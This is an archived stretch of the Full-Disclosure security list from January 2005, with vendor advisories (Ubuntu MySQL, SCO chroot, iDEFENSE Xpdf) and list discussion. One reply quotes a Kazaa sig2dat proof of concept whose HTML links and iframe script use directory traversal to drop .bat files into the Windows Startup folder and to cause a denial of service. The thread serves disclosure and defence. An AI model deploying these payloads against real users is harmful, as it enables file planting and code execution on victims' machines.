created temporary files in an insecure manner. This could allow a
symbolic link attack to create or overwrite arbitrary files with the
privileges of the user invoking the program.

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20-2ubuntu1.2.diff.gz
      Size/MD5:   166762 9539079855c393735822c2a81066fc4f
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20-2ubuntu1.2.dsc
      Size/MD5:      892 ffefecd7367ae204441e9c578ef99c80
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-dfsg_4.0.20.orig.tar.gz
      Size/MD5:  9760117 f092867f6df2f50b34b8065312b9fb2b

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-common_4.0.20-2ubuntu1.2_all.deb
      Size/MD5:    24118 f4dc709c79ba5d369897ff900c902d71

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_amd64.deb
      Size/MD5:  2809872 a55c0f636b25edd5d13c0d803338488d
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_amd64.deb
      Size/MD5:   304142 b86111022aa1c15af7f7f3036f5433be
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_amd64.deb
      Size/MD5:   422204 f9bc9eb8cd9ac67e52eaa524e57bac99
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_amd64.deb
      Size/MD5:  3576784 d53773fbd06bb053f0a46e529aa38eee

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_i386.deb
      Size/MD5:  2773210 a6852a3f424271259b39bb03bb461b04
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_i386.deb
      Size/MD5:   287134 a21f225c8fa3330a43927745011c205f
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_i386.deb
      Size/MD5:   396138 0c2b5af3861525c81f2ff1ff220ecec9
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_i386.deb
      Size/MD5:  3485736 1604893d7116f1a157bd21ba1691cf10

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient-dev_4.0.20-2ubuntu1.2_powerpc.deb
      Size/MD5:  3109196 55cfe8be306fcf4b52b28dcd71b5f248
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/libmysqlclient12_4.0.20-2ubuntu1.2_powerpc.deb
      Size/MD5:   307810 214c3513201913fe536530c9635a260e
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-client_4.0.20-2ubuntu1.2_powerpc.deb
      Size/MD5:   451622 990dc682f047b6f90ada50cbaa68bd99
    http://security.ubuntu.com/ubuntu/pool/main/m/mysql-dfsg/mysql-server_4.0.20-2ubuntu1.2_powerpc.deb
      Size/MD5:  3769240 007381b48ea3e942fd46d91321422673
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: Digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/3a3ddde9/attachment.bin 

From joel at servicestyle.com  Tue Jan 18 17:17:19 2005
From: joel at servicestyle.com (Joel Merrick)
Date: Tue, 18 Jan 2005 17:17:19 +0000
Subject: [Full-Disclosure] Security status of osCommerce?
Message-ID: <1106068639.6909.7.camel@localhost>

Hi,

I'm wondering if anyone can tell me about the current security status of
the MS2.2 release of osCommerce?

I understand that there have been XSS vulnerabilities and DOS exploits,
heve these been fixed in the MS2.2 downloadable from the site?

Any help appreciated.
-- 
Joel Merrick


-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 189 bytes
Desc: This is a digitally signed message part
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/259398cc/attachment.bin 

From Valdis.Kletnieks at vt.edu  Tue Jan 18 18:01:54 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 18 Jan 2005 13:01:54 -0500
Subject: [Full-Disclosure] network associates mcafee controls 
In-Reply-To: Your message of "Tue, 18 Jan 2005 19:14:51 +0300."
	<E1Cqw0J-000Pe9-00.bvsev-mail-ru@f25.mail.ru> 
References: <E1Cqw0J-000Pe9-00.bvsev-mail-ru@f25.mail.ru>
Message-ID: <200501181801.j0II1sxg031608@turing-police.cc.vt.edu>

On Tue, 18 Jan 2005 19:14:51 +0300, bvsev at mail.ru said:

> This is just for my personal knowledge, I just wanna run stuff without
> getting  "not enough rights" boxes all the time. My boss would be OK, don't
> worry

Then your boss should be happy to get somebody to turn them off on your machine.

*Somebody* at your company decided that the machines should run the Mcaffee
stuff, for reasons that seemed good at the time.  And if you go bypassing
them, that Somebody *will* eventually find out, and *will* be mad.  Remember
that the computer belongs to the company, and not to you.

Would you get in trouble if you borrowed a company car or truck without permission,
drove it thousands of kilometers on a personal vacation, and then returned it
dirty and contaminated with hazardous waste?

Then why do you think they won't mind at all if you borrow the company computer,
drive it all over the Internet, and return it with some sort of virus or
trojan or spyware that you accidentally installed on it?

It might make *more* sense for you to make a list of the things that you get
"not enough rights" boxes, and ask for them to be installed for you.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/338c9214/attachment.bin 

From sutpen at gmail.com  Tue Jan 18 19:15:24 2005
From: sutpen at gmail.com (Thomas Sutpen)
Date: Tue, 18 Jan 2005 12:15:24 -0700
Subject: [Full-Disclosure] Shoe 1.0 - Remote Lace Overflow
In-Reply-To: <7edf447e05011107057e2f07b3@mail.gmail.com>
References: <20041222162045.GA12051@0x90.org>
	<d4322ab80412251549574f0f38@mail.gmail.com>
	<6.0.1.1.2.20041226193459.05301dd0@mail.mindtheater.net>
	<7edf447e05011107057e2f07b3@mail.gmail.com>
Message-ID: <d4322ab8050118111542fcda82@mail.gmail.com>

On Tue, 11 Jan 2005 07:05:12 -0800, stonersavant <dank.krew at gmail.com> wrote:
> I tested this in my lab. I'm happy to report that s10.5 Ninja Tabi
> boots appear to be unaffected by the vulnerability.

Unfortunately, this raises more questions than it creates answers.

For example, if the people of Japan, an island nation isolated until a
series of big wars in the 1600s, were capable of developing long
before external contact ethnic footwear in which this problem is not
endemic, who else has done so?  Is there any other ethnic footwear out
there that by design is resistant to this type of attack?

I suppose I could begin the list by contributing another solution.

Entry 1.  The Japanese - Tabi boots.
Entry 2.  The Dutch - Clogs.

These wooden devices couldn't be any less comfortable if one were to
hammer nails through the soles before putting them on.  And merchants
that sell them always try to bundle them as part of a package deal,
including a smoke and a pancake.  However, they seem immune to the
vulnerability.

Any other contributions?

Chrz,
TS


From please_reply_to_security at sco.com  Tue Jan 18 21:03:18 2005
From: please_reply_to_security at sco.com (please_reply_to_security at sco.com)
Date: Tue, 18 Jan 2005 13:03:18 -0800
Subject: [Full-Disclosure] UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 :
	chroot A known exploit can break a chroot prison.
Message-ID: <20050118130318.A7526@caldera.com>


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



______________________________________________________________________________

			SCO Security Advisory

Subject:		UnixWare 7.1.4 UnixWare 7.1.3 UnixWare 7.1.1 : chroot A known exploit can break a chroot prison.
Advisory number: 	SCOSA-2005.2
Issue date: 		2005 January 14
Cross reference:	sr887824 fz528555 erg712509 CAN-2004-1124
______________________________________________________________________________


1. Problem Description

	chroot() is a system call that is often used to provide an
	additional layer of security when untrusted programs are
	run. The call to chroot() is normally used to ensure that
	code run after it can only access files at or below a given
	directory. 

	Originally, chroot() was used to test systems software in 
	a safe environment. It is now generally used to lock users 
	into an area of the file system so that they can not look 
	at or affect the important parts of the system they are on. 
	
	Several programs use chroot jails to ensure that even if 
	you break into the process's address space, you can't do 
	anything harmful to the whole system. If chroot() can be 
	broken then this precaution is broken. 

	A known exploit can break a chroot prison.

	The Common Vulnerabilities and Exposures project 
	(cve.mitre.org) has assigned the name CAN-2004-1124 to t
	his issue.

	A new file system tunable, CHROOT_SECURITY is provided to
	protect against the known exploit for escaping from a chroot
	prison. The new tunable is described in /etc/conf/dtune.d/fs
	and defined in /etc/conf/mtune.d/fs. Protection is provided
	by the default value of 1 but traditional behavior may be
	obtained by resetting CHROOT_SECURITY to 0. 

	chroot() is a good way to increase the security of the
	software provided that secure programming guidelines are 
	utilized and chroot() system call limitations are taken 
	into account.  Chrooting will prevent an attacker from 
	reading files outside the chroot jail and will prevent 
	many local UNIX attacks (such as SUID abuse and /tmp 
	race conditions).

	The number of ways that root user can break out of chroot 
	is huge.  If there is no root user defined within the 
	chroot environment, no SUID binaries, no devices, and 
	the daemon itself dropped root privileges right after 
	calling chroot() call breaking out of chroot appears to 
	be impossible.

2. Vulnerable Supported Versions

	System				Binaries
	----------------------------------------------------------------------
	UnixWare 7.1.4 			/etc/conf/pack.d/namefs/Driver_atup.o
					/etc/conf/pack.d/namefs/Driver_mp.o
					/usr/include/sys/vfs.h

	UnixWare 7.1.3 			See Maintainance pack 4

	UnixWare 7.1.1 			See Maintainance pack 5
				

3. Solution

	The proper solution is to install the latest packages.


4. UnixWare 7.1.4

	4.1 Location of Fixed Binaries

	ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.2

	4.2 Verification

	MD5 (erg712629c.pkg.Z) = 480ecc98f9c918a3b35082c1bef2aa44

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	4.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download erg712629c.pkg.Z to the /var/spool/pkg directory

	# uncompress /var/spool/pkg/erg712629c.pkg.Z
	# pkgadd -d /var/spool/pkg/erg712629c.pkg


5. UnixWare 7.1.3

	5.1 Location of Fixed Binaries

	The fixes are available in SCO UnixWare Release 7.1.3
        Maintenance Pack 4 or later.  See

	ftp://ftp.sco.com/pub/unixware7/713/mp/mp4/uw713mp4.txt
	or
	ftp://ftp.sco.com/pub/unixware7/713/mp/mp4/uw713mp4.html

	5.2 Verification

	MD5 (uw713mp4.image) = 7eb9e20ed6a6d9ed1ab7335323bf25d1

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools


	5.3 Installing Fixed Binaries

	Upgrade the affected binaries with the following sequence:

	Download uw713mp4.image to the /var/spool/pkg directory

	# pkgadd -d /var/spool/pkg/uw713mp4.image


6. UnixWare 7.1.1

	6.1 Location of Fixed Binaries

	The fixes are available in SCO UnixWare Release 7.1.1
	Maintenance Pack 5 or later.  See

	ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5.txt
	and
	ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5_errata.txt

	6.2 Verification

	MD5 (uw711mp5.cpio.Z) = 50bd66b7d57b2025da9dca4010d0ab1a

	md5 is available for download from
		ftp://ftp.sco.com/pub/security/tools

	6.3 Installing Fixed Binaries

	See uw711mp5.txt and uw711mp5_errata.txt for install instructions.

7. References

	Specific references for this advisory:
		http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1124 
		http://www.packetfactory.net/projects/libexploit/ 
		http://www.bpfh.net/simes/computing/chroot-break.html
		http://www.linuxsecurity.com/content/view/117632/49/

	SCO security resources:
		http://www.sco.com/support/security/index.html

	SCO security advisories via email
		http://www.sco.com/support/forums/security.html

	This security fix closes SCO incidents sr887824 fz528555
	erg712509.


8. Disclaimer

	SCO is not responsible for the misuse of any of the information
	we provide on this website and/or through our security
	advisories. Our advisories are a service to our customers
	intended to promote secure installation and use of SCO
	products.


9. Acknowledgments

	SCO would like to thank Simon Roses Femerling

______________________________________________________________________________

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.0 (SCO/UNIX_SVR5)

iD8DBQFB6GDDaqoBO7ipriERAgpwAJ9ohWuGizBGP5rLwQfBvMkDtZdVIQCfQQaF
+ysj7pTq2BCUn+5vqu7CJvA=
=EDUn
-----END PGP SIGNATURE-----


From dufresne at winternet.com  Tue Jan 18 20:22:28 2005
From: dufresne at winternet.com (Ron DuFresne)
Date: Tue, 18 Jan 2005 14:22:28 -0600 (CST)
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters
In-Reply-To: <freemail.20050017115254.95285@fm5.freemail.hu>
Message-ID: <Pine.GSO.4.43.0501181417550.15940-100000@tundra.winternet.com>

On Mon, 17 Jan 2005, Feher Tamas wrote:

> http://news.bbc.co.uk/2/hi/uk_news/magazine/4169313.stm
>
> ... Some scientists in the US are working on more advanced
> technology which might be better equipped at detecting
> deception. Imagine the Pentagon equipped with a machine
> which can read minds. Sound like the plot of a Hollywood
> thriller? Well, it might not be that far away ...


Yes, but getting mothers to allow the gov to implant 120 wire electrodes
in their newborn babies to effectivly use the technology on the public at
large might cause an outcry from those ladies.  course, congress could
always legislate the reuirements eh?


of course, on a semi serious note, elctromagnectic imaging scans have
proven to be pretty effective in noting the difference in a lying brain
and a truthful one.  Now if they can just consolidate all that equipment
into a small handable wand kinda device...

Thanks,

Ron DuFresne
-- 
"Sometimes you get the blues because your baby leaves you. Sometimes you get'em
'cause she comes back." --B.B. King
        ***testing, only testing, and damn good at it too!***

OK, so you're a Ph.D.  Just don't touch anything.




From Valdis.Kletnieks at vt.edu  Tue Jan 18 21:21:50 2005
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Tue, 18 Jan 2005 16:21:50 -0500
Subject: [Full-Disclosure] Illegal mind control is coming to the USA,
	black helicopters 
In-Reply-To: Your message of "Tue, 18 Jan 2005 14:22:28 CST."
	<Pine.GSO.4.43.0501181417550.15940-100000@tundra.winternet.com> 
References: <Pine.GSO.4.43.0501181417550.15940-100000@tundra.winternet.com>
Message-ID: <200501182121.j0ILLp8X006146@turing-police.cc.vt.edu>

On Tue, 18 Jan 2005 14:22:28 CST, Ron DuFresne said:

> of course, on a semi serious note, elctromagnectic imaging scans have
> proven to be pretty effective in noting the difference in a lying brain
> and a truthful one.  Now if they can just consolidate all that equipment
> into a small handable wand kinda device...

What we *really* need is a portable cluon-flux detector, so that we can wave
it past somebody and tell if they're a net emitter of cluons, or a cluon sink,
or a null-cluon.

Interestingly enough, it can be shown that cluon sinks are preferable to
null-cluons - sinks will absorb cluons and accumulate them, eventually becoming
cluon emitters once they reach a critical mass of cluons.  Null cluons react
with cluons in about the same way as neutrinos react with normal matter - they
very rarely hit-and-stick.

OB-Full-Disclosure:  The effect on your organization's overall security stance
when a null-cluon gets appointed into management.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050118/db7d2d4c/attachment.bin 

From skylined at edup.tudelft.nl  Tue Jan 18 22:15:01 2005
From: skylined at edup.tudelft.nl (Berend-Jan Wever)
Date: Tue, 18 Jan 2005 23:15:01 +0100
Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer
	Overflow and Denial Of Service by creating files in arbitrary
	locations
References: <001201c4fcd4$d32e9c10$f85ab350@noone>
Message-ID: <008b01c4fdab$2c4aa1a0$0100a8c0@grotedoos>

Short version:
I looked at the "Length:999999999..." problem: It doesn't seem exploitable.

Details:
The sig2dat:// url causes Internet Explorer to run ksig.exe, ksig.exe is terminated because of an unhandled exception 0x0eedfade that is raised from 0x00403B69 in my ksig.exe. Googling for this exception will not report anything very usefull, other than that it is mentioned only in relation with Delphi programs.

My impression of the problem:
So I ran it through a debugger and I think that the number "99999999..." is run through a routine that converts it from string to an integer. Since it will not fit into a 32-bit integer, this function throws an exception to report this error. This exception is not caught by ksig.exe, terminating the program. I'm not 100% sure since I only looked at the code for about half an hour and I have no Delphi compiler installed to test if any of the default string2int routines throw exception 0x0eedfade.

Feel free to prove me wrong.

Cheers,

Berend-Jan Wever
SMTP: <skylined at edup.tudelft.nl>
HTTP: http://www.edup.tudelft.nl/~bjwever
MSN: Skylined at edup.tudelft.nl
IRC: SkyLined in #SkyLined on EFNET
PGP: key ID 0x48479882

----- Original Message ----- 
From: "Rafel Ivgi, The-Insider" <theinsider at 012.net.il>
To: "Windows NTBugtraq Mailing List" <NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM>; <vulnwatch at vulnwatch.org>; "securitytracker.com" <bugs at securitytracker.com>; <news at securiteam.com>; <full-disclosure at lists.netsys.com>; <bugtraq at securityfocus.com>
Sent: Monday, January 17, 2005 21:40
Subject: Kazaa Sig2Dat Protocol Remote Integer Overflow and Denial Of Service by creating files in arbitrary locations


> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> Application:   Kazaa
> Vendors:       http://www.kazaa.com
> Versions:       kazaa lite k++(probably all others too...)
> Platforms:      Windows
> Bug:              Sig2Dat Protocol Remote Integer Overflow and
>                      Denial Of Service by creating files in arbitrary
> locations
> Exploitation:   Remote With Browser
> Date:             17 Jan 2005
> Author:          Rafel Ivgi, The-Insider
> E-Mail:          the_insider at mail.com
> Website:        http://theinsider.deep-ice.com
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> 1) Introduction
> 2) Bugs
> 3) The Code
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ===============
> 1) Introduction
> ===============
> 
> Kazaa is currently the world?s most common P2P file sharing application.
> When installing Kazaa a new protocol is installed named ?sig2dat?.
> This protocol contain an integer overflow vulnerability which may cause
> a crash and may allow remote execution of code. There is another
> vulnerability in the ?File:? parameter which allows creating files in
> arbitrary locations and committing Denial Of Service.
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ======
> 2) Bug
> ======
> 
> The sig2dat protocol syntax:
> Sig2dat://<filename>%7c<file length in bytes>< file length in
> kilobytes>%7c<HASH>%7c
> 
> The vulnerable parameter is the file ?Length? (in bytes). Specifying a
> numeric value bigger than a 999999999.
> 
> Successful exploiting of this vulnerability may allow remote code execution.
> 
> There is another vulnerability in the ?File:? parameter. It allows creation
> of files in arbitrary locations within the same partition as the shared
> folder,
> using the classic directory transversal technique ?../?.
> 
> For Example:
> <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start Menu/
> Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
> m3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
> 
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ===========
> 3) The Code
> ===========
> 
> 1) <A HREF="sig2dat://%7CFile:dev-catz5%28.bin%7CLength:99999999999999999999
> 9999999%20Bytes,364489KB%7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK
> HERE</A>
> *********************************************************************
> 2) <A HREF="sig2dat://%7CFile:../../../../../../Docume~1/All Users/Start
> Menu
> /Programs/Startup/cool.bat%7CLength:373236528%20Bytes,364489KB%7CUUHash:=DEf
> m
> 3HmvILkNcbY7j5NGa%2BD11CQ=%7C/">CLICK HERE</A>
> *********************************************************************
> 3) <script>
> var i
> for (i=1;i<10000;i++)
> {
> mylocation="<iframe src='sig2dat://%7CFile:../../../../../../Docume~1/All
> Users
> /Start
> Menu/Programs/Startup/cool"+i+".bat%7CLength:373236528%20Bytes,364489KB%
> 7CUUHash:=DEfm3HmvILkNcbY7j5NGa%2BD11CQ=%7C/'></iframe>";
> document.write(mylocation);
> }
> </script>
> 
> 
> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
> 
> ---
> Rafel Ivgi, The-Insider
> http://theinsider.deep-ice.com
> 
> "Scripts and Codes will make me D.O.S , but they will never HACK me."
> 
> 





From markus-kern at gmx.net  Tue Jan 18 22:59:51 2005
From: markus-kern at gmx.net (Markus Kern)
Date: Tue, 18 Jan 2005 23:59:51 +0100
Subject: [Full-Disclosure] Re: Kazaa Sig2Dat Protocol Remote Integer
	Overflow and Denial Of Service by creating files in arbitrary
	locations
In-Reply-To: <001201c4fcd4$d32e9c10$f85ab350@noone>
References: <001201c4fcd4$d32e9c10$f85ab350@noone>
Message-ID: <17746596171.20050118235951@gmx.net>


On Monday, January 17, 2005, 9:40:47 PM Rafel Ivgi, The-Insider <theinsider at 012.net.il> wrote:

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> Application:   Kazaa
> Vendors:       http://www.kazaa.com
> Versions:       kazaa lite k++(probably all others too...)
> Platforms:      Windows
> Bug:              Sig2Dat Protocol Remote Integer Overflow and
>                      Denial Of Service by creating files in arbitrary
> locations
> Exploitation:   Remote With Browser
> Date:             17 Jan 2005
> Author:          Rafel Ivgi, The-Insider
> E-Mail:          the_insider at mail.com
> Website:        http://theinsider.deep-ice.com

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> 1) Introduction
> 2) Bugs
> 3) The Code

> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

> ===============
> 1) Introduction
> ===============

> Kazaa is currently the world?s most common P2P file sharing application.
> When installing Kazaa a new protocol is installed named ?sig2dat?.

This is incorrect. Kazaa itself does not install a handler for the
'sig2dat' URIs. In fact it doesn't even know about them. The sig2dat
URIs are created and handled by a third party tool [1] which contains
the described flaws and happens to be included in the (unofficial)
Kazaa Lite package.

The official Kazaa from http://www.kazaa.com does not handle sig2dat
URIs and is not vulnerable.

> This protocol contain an integer overflow vulnerability which may cause
> a crash and may allow remote execution of code. There is another
> vulnerability in the ?File:? parameter which allows creating files in
> arbitrary locations and committing Denial Of Service.

[1] sig2dat, http://www.geocities.com/vlaibb/tools.html
    (The design and code of this thing are horrific and there are no
    doubt plenty of other bugs to be found)

-- 
Markus Kern






From idlabs-advisories at idefense.com  Tue Jan 18 21:32:43 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Tue, 18 Jan 2005 16:32:43 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory 01.18.05: Multiple
	Unix/Linux Vendor Xpdf makeFileKey2 Stack Overflow
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8B293@idserv04.idef.com>

Multiple Unix/Linux Vendor Xpdf makeFileKey2 Stack Overflow 

iDEFENSE Security Advisory 01.18.05
www.idefense.com/application/poi/display?id=186&type=vulnerabilities
January 18, 2005

I. BACKGROUND

Xpdf is an open-source viewer for PDF files. More information is 
available at the following site:

http://www.foolabs.com/xpdf/

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in the xpdf PDF 
viewer included in multiple Unix and Linux distributions could allow for

arbitrary code execution as the user viewing a PDF file. 

The vulnerability specifically exists due to insufficient bounds 
checking while processing a PDF file that provides malicious values in 
the /Encrypt /Length tag. The offending code can be found in the 
Decrypt::makeFileKey2 function in the source file xpdf/Decrypt.cc. 

GBool Decrypt::makeFileKey2(int encVersion, int encRevision,
                            int keyLength, GString *ownerKey,
                            GString *userKey, int permissions,
                            GString *fileID, String *userPassword,
                            Guchar *fileKey) {
      Guchar *buf;
      Guchar test[32];
      Guchar fState[256];
      Guchar tmpKey[16];
      Guchar fx, fy;
      int len, i, j;
      GBool ok;
      ...

            memcpy(test, userKey->getCString(), 32);
            for (i = 19; i >= 0; --i) {
                  for (j = 0; j < keyLength; ++j) {
[overflow]               tmpKey[j] = fileKey[j] ^ i; 
                  }
            ...
      }
      ...
} 

In this piece of code, the keyLength value is ultimately supplied by the

PDF file. This allows an attacker to specify an arbitrarily large value 
and overwrite portions of stack memory. As a consequence, arbitrary code

execution is possible.

III. ANALYSIS

Successful exploitation of this vulnerability leads to arbitrary code 
execution as the user who opened the malicious file. An attacker would 
have to convince a target to open the provided file in order to exploit 
this vulnerability, thus lessening the impact.

Exploitation can be performed reliably, especially with knowledge of the

target system.

IV. DETECTION

iDEFENSE has confirmed the existence of this vulnerability in version 
3.00 of xpdf. It is suspected previous versions are vulnerable. 

The following Linux vendors may be affected by this vulnerability:

	Novell Inc. (SUSE) 
	Red Hat Inc. 
	The Fedora Project 
	Debian Project 
	Gentoo Foundation Inc. 
	The FreeBSD Project 
	OpenBSD 

V. WORKAROUND

Only open PDF files from trusted individuals.

VI. VENDOR RESPONSE

A patch to address this issue is available at:

    ftp://ftp.foolabs.com/pub/xpdf/xpdf-3.00pl3.patch

Updated binaries (ver. 3.00pl3) to address this issue are available at:

    http://www.foolabs.com/xpdf/download.html

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0064 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

01/06/2005  Initial vendor notification
01/12/2005  Initial vendor response
01/18/2005  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2005 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From pete.connolly at btinternet.com  Tue Jan 18 21:47:35 2005
From: pete.connolly at btinternet.com (Pete Connolly)
Date: Tue, 18 Jan 2005 21:47:35 +0000
Subject: [Full-Disclosure] Re: [bugtraq] Novell GroupWise WebAccess error
	modules loading
In-Reply-To: <5F9D803B30A8E4418166E637D50E9E2A139F3A@miraculix.scip.ch>
References: <5F9D803B30A8E4418166E637D50E9E2A139F3A@miraculix.scip.ch>
Message-ID: <200501182147.36030.pete.connolly@btinternet.com>

On Monday 17 January 2005 16:42, Marc Ruef wrote:
> Dear ladies and gentlemen
>

<SNIP description of two potential problems>

> We have not found any information on that issue. So I sent this information
> (nearly the same posting) on 14/12/04 to info at novell.com and asked for a
> solution. As I haven't heard _anything_ until 23/12/04 I sent a reminder
> email to the same address. So no reply came back we made this vulnerability
> public finally to force Novell to react on this case. An Attack Tool Kit
> (ATK) plugin that addresses this vulnerability will be published in the
> next days[1].
>
> Regards,
>
> Marc Ruef
>
> [1] http://www.computec.ch/projekte/atk/

It took me less than 10 seconds to find this url

http://support.novell.com/security-alerts/

using the keywords "novell security email address" in Google.

Had you taken the same time to do this, you would have found that 
secure at novell.com is the place to send this kind of notification.

No doubt you've spent a lot of time doing some good research. Had you spent a 
little longer there would probably be a patch by now.  Making up 'possible' 
email addresses for this kind of mail and then 'forcing' Novell to go public 
on an issue that's probably sitting in a spam bucket is a bit of waste of 
everyone's time and effort, your own included.

Regards

Peter


From 3xp101t at gmail.com  Wed Jan 19 03:07:38 2005
From: 3xp101t at gmail.com (Juan dela Cruz)
Date: Wed, 19 Jan 2005 11:07:38 +0800
Subject: [Full-Disclosure] The UPC packer
Message-ID: <bc12db5e0501181907b9577bb@mail.gmail.com>

Anybody knows about this UPC Win32 packer or where to find it? I've
searched the info highway and ended up to Swizzor.


From propolice at gmail.com  Wed Jan 19 04:11:45 2005
From: propolice at gmail.com (Eduardo Tongson)
Date: Wed, 19 Jan 2005 12:11:45 +0800
Subject: [Full-Disclosure] The UPC packer
In-Reply-To: <bc12db5e0501181907b9577bb@mail.gmail.com>
References: <bc12db5e0501181907b9577bb@mail.gmail.com>
Message-ID: <b18fbe3c050118201114449733@mail.gmail.com>

> Anybody knows about this UPC Win32 packer or where to find it? I've
> searched the info highway and ended up to Swizzor.
> _______________________________________________


UPX


-- 
Eduardo Tongson MCSE
http://i.keepsilent.net [:] propolice[a]gmail.com




* Minesweeper Consultant & Solitaire Expert


From 3xp101t at gmail.com  Wed Jan 19 04:12:58 2005
From: 3xp101t at gmail.com (Juan dela Cruz)
Date: Wed, 19 Jan 2005 12:12:58 +0800
Subject: [Full-Disclosure] Re: The UPC packer
In-Reply-To: <bc12db5e0501181907b9577bb@mail.gmail.com>
References: <bc12db5e0501181907b9577bb@mail.gmail.com>
Message-ID: <bc12db5e05011820122978b570@mail.gmail.com>

It really is UPC not UPX. Try searching google with "swizzor UPC"


On Wed, 19 Jan 2005 11:07:38 +0800, Juan dela Cruz <3xp101t at gmail.com> wrote:
> Anybody knows about this UPC Win32 packer or where to find it? I've
> searched the info highway and ended up to Swizzor.
>


